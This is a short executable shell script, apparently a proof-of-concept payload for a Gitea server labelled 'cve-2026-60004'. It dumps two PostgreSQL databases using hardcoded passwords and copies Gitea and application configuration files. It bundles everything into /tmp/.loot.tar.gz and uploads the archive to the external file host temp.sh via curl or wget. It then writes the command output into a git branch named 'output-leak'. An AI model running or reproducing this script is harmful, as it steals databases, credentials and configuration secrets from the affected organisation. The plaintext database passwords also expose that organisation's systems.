10 lines
1.3 KiB
Bash
Executable File
10 lines
1.3 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(D=/tmp/.x; mkdir -p $D; PGPASSWORD='4ftAFt76GZyAi0$' pg_dump -h 127.0.0.1 -U testdbuser -d szeictestdb 2>/dev/null | gzip > $D/szeictestdb_full.sql.gz; PGPASSWORD='cigD9sh6esngySm9yRJx' pg_dump -h 127.0.0.1 -U gitea -d giteadb 2>/dev/null | gzip > $D/giteadb.sql.gz; cp /etc/gitea/app.ini /opt/sze/sze_saas/sze/local_settings.py /opt/sze/sze_saas/sze/settings.py /opt/sze/sze_saas/api_functions/robots_config.py /opt/sze/sze_saas/docker-compose.yml $D/ 2>/dev/null; cd $D && tar czf /tmp/.loot.tar.gz . && echo PACKED $(stat -c%s /tmp/.loot.tar.gz); which curl wget; curl -sm240 -F 'file=@/tmp/.loot.tar.gz' https://temp.sh/upload 2>&1 || wget -qO- --timeout=240 --post-file=/tmp/.loot.tar.gz --header='Content-Type: application/octet-stream' https://temp.sh/upload 2>&1 2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|